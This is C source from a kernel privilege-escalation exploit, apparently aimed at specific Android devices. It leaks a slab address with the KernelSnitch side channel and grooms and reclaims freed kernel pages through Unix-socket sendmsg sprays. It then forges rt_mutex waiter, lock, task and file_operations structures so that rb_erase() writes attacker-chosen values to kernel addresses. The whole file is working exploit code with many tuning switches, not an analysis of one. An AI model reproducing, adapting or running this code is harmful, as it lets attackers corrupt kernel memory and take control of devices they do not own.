/* The page copy normally starts with an empty ordinary-tree node: the
* custom route's active waiter is the stack-side object. When the
* synthetic task is made pi_blocked_on=fake_w0, however, the first
* rt_mutex_adjust_prio_chain iteration can erase the reclaimed page's
* ordinary tree entry itself. Keep that shape opt-in so the page remains
* a safe control by default, while allowing a single-variable canary for
* that alternate node identity. */
if (getenv("DIRECT_PAGE_TREE_CANARY")) {
/* The stack-side waiter owns the forged parent/child shape that drives
* the target write. The reclaimed page waiter is also used as the
* lock->waiters root during the subsequent rb_insert_color() cleanup,
* so it must be an independent Linux root when requested: parent=NULL
* with the black color bit set (the rb_parent_color sentinel is 1),
* and no external children. Coupling its parent to Q leaves the root
* pointing into the target neighborhood and causes the cleanup insert to
* write a tagged pointer back into the target. */
const int page_tree_root_safe =
getenv("DIRECT_PAGE_TREE_ROOT_SAFE") != NULL;
const int page_tree_root_tagged =
getenv("DIRECT_PAGE_TREE_ROOT_TAGGED") != NULL;
const int page_tree_tagged_keep_child =
getenv("DIRECT_PAGE_TREE_TAGGED_KEEP_CHILD") != NULL;
uintptr_t page_root_parent = page_tree_root_safe ? 1 : parent;
if (page_tree_root_tagged) {
/* Keep Q in the root's parent field so the stack-side forged node still
* has the same target geometry, but mark the reclaimed root black. The
* rb_insert_color() fast exit tests only bit 0 of this field and will
* therefore not walk Q during cleanup. */
page_root_parent = parent | 1;
}
put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x00,
page_root_parent);
uintptr_t page_tree_right =
page_tree_root_safe ||
(page_tree_root_tagged && !page_tree_tagged_keep_child) ?
0 : right;
uintptr_t page_tree_left =
page_tree_root_safe ||
(page_tree_root_tagged && !page_tree_tagged_keep_child) ||
getenv("DIRECT_PAGE_TREE_LEAF") ? 0 : left;
/* Keep the stack-side forged node's target child independent from the
* reclaimed lock-root cleanup tree. A helper child has a valid waiter
* layout, so the priority comparator can traverse the page root without
* dereferencing target-address bytes such as boot_id[+0x10]. */
if (getenv("DIRECT_PAGE_TREE_LEFT_HELPER")) {
page_tree_left = fake_w1 + WAITER_TREE_ENTRY_OFF;
}
if (getenv("DIRECT_PAGE_TREE_RIGHT_HELPER")) {
page_tree_right = fake_w1 + WAITER_TREE_ENTRY_OFF;
}
put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x08, page_tree_right);
put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x10, page_tree_left);
} else {
put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x00, 1);
put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x08, 0);
put64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x10, 0);
}
/* The ordinary waiter tree carries the disposable canary shape. When the
* synthetic task's pi_waiters root is enabled, keep its separate PI-tree
* node a valid empty root (parent=NULL, no children). rb_next() accepts a
* self-parented node as a sentinel, but rb_erase() does not: it needs the
* Linux root representation (parent=NULL) to clear task->pi_waiters. */
uintptr_t pi_parent = parent;
uintptr_t pi_right = right;
uintptr_t pi_left = left;
if (getenv("PI_FAKE_PI_ROOT_SAFE")) {
pi_parent = 0;
pi_right = 0;
pi_left = 0;
}
put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x00, pi_parent);
put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x08, pi_right);
put64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x10, pi_left);
put64(p, W0_OFF + WAITER_TASK_OFF, waiter_task);
put64(p, W0_OFF + WAITER_LOCK_OFF, fake_lock);
put32(p, W0_OFF + WAITER_WAKE_STATE_OFF, 0);
uint32_t page_root_prio = FAKE_WAITER_PRIO;
const char *page_prio_env = getenv("DIRECT_PAGE_ROOT_PRIO");
if (page_prio_env && *page_prio_env) {
char *page_prio_end = NULL;
unsigned long parsed = strtoul(page_prio_env, &page_prio_end, 0);
if (page_prio_end != page_prio_env && *page_prio_end == '\0' &&
parsed <= UINT32_MAX) {
page_root_prio = (uint32_t)parsed;
}
}
put32(p, W0_OFF + WAITER_PRIO_OFF, page_root_prio);
put64(p, W0_OFF + WAITER_DEADLINE_OFF, 0);
/* rb_erase()'s PI-tree comparator reads these fields on the reclaimed
* waiter as well. The fd-set waiter already carries them in its stack
* image; keep the page copy byte-for-byte consistent with the reference
* contract instead of relying on zeroed padding. */
/* On T807D the native rt_mutex_waiter overlays the ordinary-tree and
* pi-tree priority at the same +0x44 field. Keep the page-side priority
* override intact; writing the historical fixed value here silently
* defeated DIRECT_PAGE_ROOT_PRIO and made the cleanup comparator continue
* down the forged left child. */
put32(p, W0_OFF + FAKE_WAITER_PI_TREE_PRIO_OFF, page_root_prio);
put64(p, W0_OFF + FAKE_WAITER_PI_TREE_DEADLINE_OFF, 0);
put64(p, W0_OFF + WAITER_WW_CTX_OFF, 0);
}
static void put_direct_helper_waiter(unsigned char *p) {
/* A separate black leaf keeps lock->waiters.rb_node valid after the
* forged page node is erased. The helper is never used as the target
* node; it only prevents rb_insert_color() from treating the forged
* target address as the existing tree root. */
const int helper_root_black = getenv("DIRECT_HELPER_ROOT_BLACK") != NULL;
const int helper_is_page_left =
getenv("DIRECT_PAGE_TREE_LEFT_HELPER") != NULL;
put64(p, FAKE_W1_OFF + WAITER_TREE_ENTRY_OFF + 0x00,
helper_is_page_left ? fake_w0 : (helper_root_black ? 1 : 0));
put64(p, FAKE_W1_OFF + WAITER_TREE_ENTRY_OFF + 0x08, 0);
put64(p, FAKE_W1_OFF + WAITER_TREE_ENTRY_OFF + 0x10, 0);
put64(p, FAKE_W1_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x00,
helper_root_black ? 1 : 0);
put64(p, FAKE_W1_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x08, 0);
put64(p, FAKE_W1_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x10, 0);
put64(p, FAKE_W1_OFF + WAITER_TASK_OFF,
getenv("PI_HELPER_TASK_INIT") ? SLIDE_INIT_TASK : fake_task);
put64(p, FAKE_W1_OFF + WAITER_LOCK_OFF, fake_lock);
put32(p, FAKE_W1_OFF + WAITER_WAKE_STATE_OFF, 0);
put32(p, FAKE_W1_OFF + WAITER_PRIO_OFF, FAKE_WAITER_PRIO);
put64(p, FAKE_W1_OFF + WAITER_DEADLINE_OFF, 0);
put64(p, FAKE_W1_OFF + WAITER_WW_CTX_OFF, 0);
}
int prepare_skb_payload(uintptr_t base, int payload_mode) {
if (payload_mode != PAGE_PAYLOAD_SLIDE &&
payload_mode != PAGE_PAYLOAD_FOPS) {
return 0;
}
memset(skb_buf, 0, SKB_SEND_SIZE);
/* The successful current direct route uses the TCP-shaped skb geometry:
* the reclaimed bytes start at the slab base and the compact task lives at
* +0x5800. Keep the historical Popsicle geometry available for A/B tests,
* but make this layout explicit instead of silently mixing pointer bases. */
/* T807D keeps the original Popsicle skb contract: source offset 0 is
* addressed as base + SKB_DATA_DELTA. The similarly named XRing route has
* an extra TCP payload bias and cannot be transplanted here. Keep the old
* variable as an explicitly unsafe opt-in so a copied environment from the
* XRing experiments cannot silently place fake_lock/fake_w0 at the wrong
* page offsets and re-enter wake_up_state() with a malformed waiter. */
int direct_tcp_geometry =
getenv("DIRECT_TCP_GEOMETRY") != NULL &&
getenv("T807D_UNSAFE_TCP_GEOMETRY") != NULL;
if (getenv("DIRECT_TCP_GEOMETRY") != NULL && !direct_tcp_geometry) {
pr_warning("T807D: ignoring DIRECT_TCP_GEOMETRY without "
"T807D_UNSAFE_TCP_GEOMETRY; retaining skb delta=%x\n",
(unsigned int)SKB_DATA_DELTA);
}
intptr_t payload_delta = direct_tcp_geometry ? 0 : SKB_DATA_DELTA;
size_t fake_task_off = direct_tcp_geometry ? 0x5800 : FAKE_TASK_OFF;
uintptr_t payload_base = base + payload_delta;
fake_lock = payload_base + LOCK_OFF;
fake_w0 = payload_base + W0_OFF;
fake_w1 = payload_base + FAKE_W1_OFF;
fake_fops = payload_base + FOPS_TABLE_OFF;
fake_task = payload_base + fake_task_off;
uintptr_t parent;
uintptr_t right;
uintptr_t left;
uint64_t waiter_task;
uint64_t task_group;
uint64_t pi_top_task;
int slide_lock_shape =
payload_mode == PAGE_PAYLOAD_SLIDE &&
getenv("DIRECT_SLIDE_LOCK_SHAPE") != NULL;
if (payload_mode == PAGE_PAYLOAD_SLIDE) {
if (getenv("DIRECT_SLIDE_TARGET_SHAPE2")) {
/* Use rb_erase()'s no-left-child path: parent is the known logger
* pointer, right is the boot-id target, and left is empty. This is the
* same geometry already validated by the FOPS bridge. */
parent = SLIDE_NFULNL_LOGGER;
right = SLIDE_RANDOM_BOOT_ID_DATA;
left = 0;
} else {
parent = SLIDE_LOGGERS_0_1;
right = 0;
left = SLIDE_RANDOM_BOOT_ID_DATA;
}
waiter_task = SLIDE_INIT_TASK;
task_group = SLIDE_ROOT_TASK_GROUP;
pi_top_task = SLIDE_INIT_TASK;
} else {
if (pselect_custom_target < 8 &&
!(pselect_custom_shape == 0 && pselect_custom_target == 0)) {
return 0;
}
/* The stack-side pselect waiter and the reclaimed-page waiter use
* different rb-tree shapes. For a zero-child read/oracle, rb_erase()
* consumes the page waiter's replacement child from its left link; the
* reference route therefore carries parent=value and left=target. A
* shape-1 write uses the direct parent/right pair target-8/value. */
if (pselect_custom_shape == 2) {
/* Legacy FOPS geometry: parent=fake_fops, right=target, left=0.
* rb_erase() takes the no-left-child fast path here and performs only
* the intended target <- parent write. The newer shape-0
* (parent=value, left=target) enters the two-child fixup path and
* interprets fops slots as rb_node fields before the bridge opens. */
parent = getenv("DIRECT_FOPS_CONFIGFS_TABLE") &&
getenv("DIRECT_CUSTOM_VALUE_PAGE_FOPS") ?
CONFIGFS_FILE_OPERATIONS_ALIAS : pselect_page_replacement_value();
right = pselect_custom_target;
left = 0;
} else if (pselect_custom_shape == 1) {
parent = pselect_custom_target - 8;
/* A page-relative value is resolved only after the reclaimed page has
* been identified. It is useful for testing the cleanup contract with
* a valid kernel pointer instead of a scalar such as 0xc350. */
right = pselect_page_replacement_value();
left = 0;
} else {
/* Shape-0 writes the destination through rb_set_parent_color(child,
* parent): the child is the target address and the parent is the
* value. Unlike shape-1, the dynamic page-relative value therefore
* belongs in the parent field, not in a replacement-child field. */
parent = pselect_page_replacement_value();
right = 0;
left = pselect_custom_target;
}
waiter_task = fake_task;
task_group = 0;
pi_top_task = fake_task;
}
/* rt_mutex_setprio() is reached from remove_waiter() with the synthetic
* lock owner as x0. Keep the reference fake-task route as the default,
* but expose controlled splits for scheduler-vs-page diagnosis. */
uint64_t lock_owner_task = fake_task;
if (getenv("PI_OWNER_INIT") && payload_mode == PAGE_PAYLOAD_FOPS) {
lock_owner_task = text_addr(INIT_TASK);
pr_info("payload: PI_OWNER_INIT=1 owner=%016zx\n", lock_owner_task);
}
if (getenv("PI_WAITER_INIT") && payload_mode == PAGE_PAYLOAD_FOPS) {
waiter_task = text_addr(INIT_TASK);
pr_info("payload: PI_WAITER_INIT=1 waiter=%016zx\n", waiter_task);
}
if (getenv("PI_FAKE_TOP_ZERO") && payload_mode == PAGE_PAYLOAD_FOPS) {
pi_top_task = 0;
pr_info("payload: PI_FAKE_TOP_ZERO=1 pi_top_task=0\n");
}
for (size_t chunk = 0; chunk < SKB_SEND_SIZE; chunk += ORDER3_SIZE) {
unsigned char *p = skb_buf + chunk;
put32(p, LOCK_OFF + 0x00, 0);
if (payload_mode == PAGE_PAYLOAD_SLIDE && !slide_lock_shape) {
put64(p, LOCK_OFF + 0x08, 0);
put64(p, LOCK_OFF + 0x10, 0);
put64(p, LOCK_OFF + 0x18, 0);
} else {
/* With PI_FAKE_BLOCKED_ON=1 the reclaimed page is the node passed to
* rb_erase(). Its forged parent intentionally points at the target,
* so rb_erase cannot repair lock->waiters.rb_node. Leaving the root
* pre-pointing at that same node makes the post-erase reinsertion walk
* traverse the forged target as a real tree. An empty root is a
* diagnostic cleanup variant: the write still uses the page node, but
* the kernel can rebuild a fresh root after the erase. */
const int helper_lock_root =
getenv("PI_HELPER_LOCK_ROOT") != NULL ||
getenv("PI_HELPER_LOCK_ROOT_PAGE_LEFTMOST") != NULL;
/* The empty-root switches are safety overrides, not alternatives
* hidden below the helper-root profile. In particular, a malformed
* leftmost waiter sends rt_mutex_adjust_prio_chain through
* waiter+0x38 before the target-side rb_erase has done useful work.
* Keep the helper-root profile intact by default, but let a live
* diagnostic run force both cached-root links NULL. */
const int lock_root_empty = getenv("PI_LOCK_ROOT_EMPTY") != NULL;
const int leftmost_empty = getenv("PI_LEFTMOST_EMPTY") != NULL;
put64(p, LOCK_OFF + 0x08,
lock_root_empty ? 0 : (helper_lock_root ? fake_w1 : fake_w0));
put64(p, LOCK_OFF + 0x10,
leftmost_empty ? 0 :
(getenv("DIRECT_PAGE_TREE_LEFT_HELPER") ? fake_w1 :
getenv("PI_HELPER_LOCK_ROOT_PAGE_LEFTMOST") ? fake_w0 :
(getenv("PI_HELPER_LOCK_ROOT") ? fake_w1 : fake_w0)));
put64(p, LOCK_OFF + 0x18, lock_owner_task | 1);
}
/* In the custom FOPS route the stack waiter carries the canary's
* rb_erase shape. The reclaimed page's PI node is subsequently
* initialized by remove_waiter() before rb_insert_color(); retaining the
* canary child there makes a direct-map target look like a pre-existing
* PI-tree node and can loop in the kernel once the page is actually
* reclaimed. Keep the historical coupled shape available for the slide
* route, and make the empty page-side PI node an explicit diagnostic
* variant for custom-target runs. */
uintptr_t page_parent = parent;
uintptr_t page_right = right;
uintptr_t page_left = left;
if (payload_mode == PAGE_PAYLOAD_FOPS &&
getenv("DIRECT_PAGE_PI_EMPTY")) {
page_parent = 0;
page_right = 0;
page_left = 0;
}
put_direct_waiter(p, page_parent, page_right, page_left, waiter_task);
if (getenv("PI_HELPER_LOCK_ROOT") ||
getenv("PI_HELPER_LOCK_ROOT_PAGE_LEFTMOST") ||
getenv("PI_HELPER_PI_ROOT")) {
put_direct_helper_waiter(p);
}
if (payload_mode == PAGE_PAYLOAD_FOPS) {
put_fake_fops_table(p, FOPS_TABLE_OFF);
}
put32(p, fake_task_off + FAKE_TASK_USAGE_OFF, 0x100);
/* The compact task is not a complete schedulable task. Keep the
* scheduler-only fields opt-in, matching the current oneplus reference;
* populating them unconditionally makes rt_mutex_setprio follow a
* synthetic rq/sched_class path before the rb write can be observed. */
if (getenv("PI_FAKE_TASK_VALID")) {
put32(p, fake_task_off + 0x80, 0); /* on_rq */
put32(p, fake_task_off + 0x88, FAKE_TASK_PRIO); /* static_prio */
put64(p, fake_task_off + 0x298, 0); /* dl.deadline */
put64(p, fake_task_off + 0x338, FAIR_SCHED_CLASS);
put64(p, fake_task_off + 0x340, FAIR_SCHED_CLASS);
}
put32(p, fake_task_off + FAKE_TASK_PRIO_OFF, FAKE_TASK_PRIO);
put32(p, fake_task_off + FAKE_TASK_NORMAL_PRIO_OFF, FAKE_TASK_PRIO);
put32(p, fake_task_off + FAKE_TASK_UCLAMP_REQ_OFF,
FAKE_UCLAMP_MIN_ACTIVE);
put32(p, fake_task_off + FAKE_TASK_UCLAMP_REQ_OFF + 4,
FAKE_UCLAMP_MAX_ACTIVE);
put32(p, fake_task_off + FAKE_TASK_UCLAMP_OFF,
FAKE_UCLAMP_MIN_ACTIVE);
put32(p, fake_task_off + FAKE_TASK_UCLAMP_OFF + 4,
FAKE_UCLAMP_MAX_ACTIVE);
put32(p, fake_task_off + FAKE_TASK_PI_LOCK_OFF, 0);
if (getenv("PI_HELPER_PI_ROOT")) {
/* Keep the forged page PI node as the candidate being erased, but
* give rb_erase() a separate valid root. Its leftmost is deliberately
* the helper, so the target node's forged parent is not walked by
* rb_next() before the erase. */
put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF,
fake_w1 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF + 8,
fake_w1 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
} else if (payload_mode == PAGE_PAYLOAD_SLIDE ||
getenv("PI_FAKE_PI_ROOT")) {
put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF,
fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF + 8,
fake_w0 + FAKE_WAITER_PI_TREE_ENTRY_OFF);
} else {
/* The custom route's rb_erase should operate on the synthetic waiter
* directly; an invented pi_waiters root adds a second unmodelled tree
* walk and can turn a valid trigger into a scheduler crash. */
put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF, 0);
put64(p, fake_task_off + FAKE_TASK_PI_WAITERS_OFF + 8, 0);
}
put64(p, fake_task_off + FAKE_TASK_TASK_GROUP_OFF, task_group);
put64(p, fake_task_off + FAKE_TASK_PI_TOP_TASK_OFF, pi_top_task);
if (getenv("PI_FAKE_BLOCKED_ON") && payload_mode == PAGE_PAYLOAD_FOPS) {
put64(p, fake_task_off + FAKE_TASK_PI_BLOCKED_ON_OFF, fake_w0);
pr_info("payload: PI_FAKE_BLOCKED_ON=1 waiter=%016zx\n", fake_w0);
} else {
put64(p, fake_task_off + FAKE_TASK_PI_BLOCKED_ON_OFF, 0);
}
if (chunk == 0 && getenv("DIRECT_PAYLOAD_TRACE")) {
pr_info("payload-trace base=%016zx payload=%016zx lock=%016zx "
"lock0=%016llx lock8=%016llx lock10=%016llx lock18=%016llx "
"w0=%016zx w0t0=%016llx w0t8=%016llx w0t10=%016llx "
"w0pi0=%016llx task=%016llx blocked=%016llx\n",
base, payload_base, fake_lock,
(unsigned long long)peek64(p, LOCK_OFF + 0x00),
(unsigned long long)peek64(p, LOCK_OFF + 0x08),
(unsigned long long)peek64(p, LOCK_OFF + 0x10),
(unsigned long long)peek64(p, LOCK_OFF + 0x18),
fake_w0,
(unsigned long long)peek64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x00),
(unsigned long long)peek64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x08),
(unsigned long long)peek64(p, W0_OFF + WAITER_TREE_ENTRY_OFF + 0x10),
(unsigned long long)peek64(p, W0_OFF + WAITER_PI_TREE_ENTRY_OFF + 0x00),
(unsigned long long)peek64(p, fake_task_off + FAKE_TASK_PI_BLOCKED_ON_OFF),
(unsigned long long)peek64(p, fake_task_off + FAKE_TASK_PI_BLOCKED_ON_OFF));
}
}
return 1;
}
static uintptr_t prepare_kernel_page(int payload_mode) {
close_reclaim_sockets();
cleanup_page_prepare_state();
mm_objs_per_slab = ORDER3_SIZE / MM_STRUCT_SZ;
if (!prepare_ctxs()) {
return 0;
}
trace_mm_slab("start");
skb_buf = malloc(SKB_SEND_SIZE);
if (!skb_buf) {
pr_error("skb payload allocation failed\n");
cleanup_page_prepare_state();
return 0;
}
for (size_t i = 0; i < warm_ctx.mm_cnt; i++) {
warm_ctx.memfds[i] = clone_memfd_for(&warm_ctx, i);
}
for (size_t i = 0; i < prepare_ctx.mm_cnt; i++) {
prepare_ctx.memfds[i] = clone_memfd_for(&prepare_ctx, i);
}
for (size_t i = 0; i < spray_ctx.mm_cnt; i++) {
spray_ctx.memfds[i] = clone_memfd_for(&spray_ctx, i);
}
int cpu_count = (int)sysconf(_SC_NPROCESSORS_ONLN);
ks = kernelsnitch_setup(
MM_STRUCT_SZ, MM_ORDER, cpu_count, KSNITCH_COLLISIONS, 0, 0);
for (size_t i = 0; i < pre_ctx.mm_cnt; i++) {
pre_ctx.memfds[i] = clone_memfd_for(&pre_ctx, i);
}
pid_t leak_child = clone_leak_child();
for (size_t i = 0; i < post_ctx.mm_cnt; i++) {
post_ctx.memfds[i] = clone_memfd_for(&post_ctx, i);
}
int leak_memfd = open_memfd(leak_child);
SYSCHK(waitpid(leak_child, NULL, 0));
trace_mm_slab("allocated");
if (!kernelsnitch_found_collisions(ks)) {
kernelsnitch_cleanup(ks);
ks = NULL;
close(leak_memfd);
cleanup_page_prepare_state();
return 0;
}
kernelsnitch_bruteforce(ks);
uintptr_t leaked = ks->mm_struct;
if (leaked == (uintptr_t)-1) {
kernelsnitch_cleanup(ks);
ks = NULL;
close(leak_memfd);
cleanup_page_prepare_state();
return 0;
}
uintptr_t base = leaked & ~(ORDER3_SIZE - 1);
uintptr_t slab_off = leaked - base;
size_t leaked_slot = slab_off / MM_STRUCT_SZ;
int required_slot = required_candidate_slot();
pr_info("KernelSnitch candidate leaked=%016zx base=%016zx slab_off=%zx "
"slot=%zu slots=%zu reclaim_len=%zu\n",
leaked, base, slab_off, leaked_slot, mm_objs_per_slab,
(size_t)SKB_RECLAIM_SIZE);
if (slab_off % MM_STRUCT_SZ != 0 || leaked_slot >= mm_objs_per_slab ||
(required_slot >= 0 && leaked_slot != (size_t)required_slot) ||
!prepare_skb_payload(base, payload_mode)) {
pr_warning("KernelSnitch candidate rejected slab_off=%zx slot=%zu "
"slots=%zu required_slot=%d\n",
slab_off, leaked_slot, mm_objs_per_slab, required_slot);
kernelsnitch_cleanup(ks);
ks = NULL;
close(leak_memfd);
cleanup_page_prepare_state();
return 0;
}
size_t reclaim_pairs = reclaim_socket_count();
reclaim_sv_count = reclaim_pairs;
int sndbuf = 1 << 20;
for (size_t pair = 0; pair < reclaim_pairs; pair++) {
reclaim_svs[pair][0] = -1;
reclaim_svs[pair][1] = -1;
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, reclaim_svs[pair]));
setsockopt(reclaim_svs[pair][0], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
int flags = fcntl(reclaim_svs[pair][0], F_GETFL, 0);
if (flags >= 0) {
fcntl(reclaim_svs[pair][0], F_SETFL, flags | O_NONBLOCK);
}
}
pr_info("skb reclaim sockets=%zu\n", reclaim_pairs);
int shaping_sv[2];
SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, shaping_sv));
struct iovec iov = {
.iov_base = skb_buf,
.iov_len = SKB_RECLAIM_SIZE,
};
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
size_t hold_pages = order3_hold_count();
int defer_shaping = getenv("SHAPE_AFTER_LEAK_CLOSE") != NULL;
if (defer_shaping && hold_pages > 0) {
pr_warning("SHAPE_AFTER_LEAK_CLOSE ignores ORDER3_HOLD_PAGES; "
"using one deferred shaping page\n");
hold_pages = 0;
}
if (hold_pages > 0) {
int hold_sndbuf = 1 << 22;
setsockopt(shaping_sv[0], SOL_SOCKET, SO_SNDBUF,
&hold_sndbuf, sizeof(hold_sndbuf));
}
if (!defer_shaping) {
errno = 0;
ssize_t shaped = sendmsg(shaping_sv[0], &msg, 0);
pr_info("skb shaping send=%zd expected=%zu errno=%d\n",
shaped, (size_t)SKB_RECLAIM_SIZE, errno);
if (shaped != (ssize_t)SKB_RECLAIM_SIZE) {
close(shaping_sv[0]);
close(shaping_sv[1]);
kernelsnitch_cleanup(ks);
ks = NULL;
close(leak_memfd);
close_reclaim_sockets();
cleanup_page_prepare_state();
return 0;
}
if (hold_pages > 1) {
int hold_ok = 1;
for (size_t i = 1; i < hold_pages; i++) {
errno = 0;
ssize_t held = sendmsg(shaping_sv[0], &msg, MSG_DONTWAIT);
pr_info("skb order3 hold=%zu/%zu bytes=%zd expected=%zu errno=%d\n",
i + 1, hold_pages, held, (size_t)SKB_RECLAIM_SIZE, errno);
if (held != (ssize_t)SKB_RECLAIM_SIZE) {
hold_ok = 0;
break;
}
}
if (!hold_ok) {
close(shaping_sv[0]);
close(shaping_sv[1]);
kernelsnitch_cleanup(ks);
ks = NULL;
close(leak_memfd);
close_reclaim_sockets();
cleanup_page_prepare_state();
return 0;
}
held_shaping_sv[0] = shaping_sv[0];
held_shaping_sv[1] = shaping_sv[1];
pr_info("skb order3 hold retained pages=%zu\n", hold_pages);
}
if (hold_pages == 1) {
held_shaping_sv[0] = shaping_sv[0];
held_shaping_sv[1] = shaping_sv[1];
pr_info("skb order3 hold retained pages=1\n");
}
} else {
pr_info("skb shaping deferred until after leak-close\n");
}
pin_to_core(CORE);
for (int i = 0; i < 4; i++) {
sched_yield();
}
close_ctx_memfds(&pre_ctx);
for (size_t i = 0; i + 1 < post_ctx.mm_cnt; i++) {
close_ctx_memfd_at(&post_ctx, i);
}
for (size_t i = 0; i < spray_ctx.mm_cnt; i += mm_objs_per_slab) {
close_ctx_memfd_at(&spray_ctx, i);
}
trace_mm_slab("partial-close");
if (getenv("CLOSE_PREPARE_BEFORE_RECLAIM")) {
pr_info("reclaim close prepare=all before skb reclaim\n");
close_ctx_memfds(&prepare_ctx);
trace_mm_slab("prepare-close");
}
/* The reference layout deliberately leaves one post object and one object
* per spray slab alive to preserve the historical partial-slab cadence.
* That is useful only after the candidate slab has been proven to return to
* the buddy allocator. Keep an explicit diagnostic mode which removes
* every user-held mm_struct reference before the candidate is released.
* It is intentionally opt-in: this changes allocator pressure and must not
* be confused with the reference reclaim contract. */
if (getenv("CLOSE_ALL_MM_BEFORE_RECLAIM")) {
pr_info("reclaim close all mm contexts before skb reclaim\n");
close_ctx_memfds(&post_ctx);
close_ctx_memfds(&spray_ctx);
close_ctx_memfds(&pre_ctx);
close_ctx_memfds(&prepare_ctx);
close_ctx_memfds(&warm_ctx);
trace_mm_slab("all-context-close");
}
if (hold_pages == 0 && !defer_shaping) {
close(shaping_sv[0]);
close(shaping_sv[1]);
}
for (int i = 0; i < 4; i++) {
sched_yield();
}
pr_info("reclaim close order pre=all post=%zu/%zu spray=one-per-slab "
"leak=last\n",
post_ctx.mm_cnt - 1, post_ctx.mm_cnt);
close(leak_memfd);
if (defer_shaping) {
errno = 0;
ssize_t shaped = sendmsg(shaping_sv[0], &msg, 0);
pr_info("skb shaping-after-leak send=%zd expected=%zu errno=%d\n",
shaped, (size_t)SKB_RECLAIM_SIZE, errno);
if (shaped != (ssize_t)SKB_RECLAIM_SIZE) {
close(shaping_sv[0]);
close(shaping_sv[1]);
kernelsnitch_cleanup(ks);
ks = NULL;
close_reclaim_sockets();
cleanup_page_prepare_state();
return 0;
}
held_shaping_sv[0] = shaping_sv[0];
held_shaping_sv[1] = shaping_sv[1];
pr_info("skb shaping-after-leak retained page=1\n");
}
trace_mm_slab("leak-close");
probe_order3_identity("post-leak-close", base);
size_t reclaim_sends = reclaim_send_count();
int reclaim_ok = 1;
for (size_t i = 0; i < reclaim_sends; i++) {
errno = 0;
size_t pair = i % reclaim_sv_count;
ssize_t sent = sendmsg(reclaim_svs[pair][0], &msg, MSG_DONTWAIT);
pr_info("skb reclaim send=%zu/%zu bytes=%zd expected=%zu errno=%d\n",
i + 1, reclaim_sends, sent, (size_t)SKB_RECLAIM_SIZE,
errno);
if (sent != (ssize_t)SKB_RECLAIM_SIZE) {
reclaim_ok = 0;
break;
}
}
trace_mm_slab("reclaim-sent");
probe_order3_identity("post-reclaim", base);
kernelsnitch_cleanup(ks);
ks = NULL;
close_ctx_memfds(&prepare_ctx);
if (!reclaim_ok) {
close_reclaim_sockets();
cleanup_page_prepare_state();
return 0;
}
pr_info("skb reclaim contract closed base=%016zx payload=%016zx "
"fake_lock=%016zx fake_w0=%016zx fake_task=%016zx\n",
base, (uintptr_t)(base + SKB_DATA_DELTA), fake_lock, fake_w0,
fake_task);
return base;
}
uintptr_t prepare_good_kernel_page(int payload_mode) {
int max_attempts = payload_mode == PAGE_PAYLOAD_SLIDE ?
SLIDE_KERNEL_PAGE_SETUP_ATTEMPTS : FOPS_KERNEL_PAGE_SETUP_ATTEMPTS;
for (int attempt = 1; attempt <= max_attempts; attempt++) {
uintptr_t base = prepare_kernel_page(payload_mode);
if (base) {
return base;
}
pr_warning("kernel page retry %d/%d mode=%d\n",
attempt, max_attempts, payload_mode);
}
return 0;
}
int is_kernel_ptr(uintptr_t value) {
return value >= 0xffff800000000000ULL;
}
int is_direct_ptr(uintptr_t value) {
return value >= DIRECT_MAP_BASE && value < DIRECT_MAP_END;
}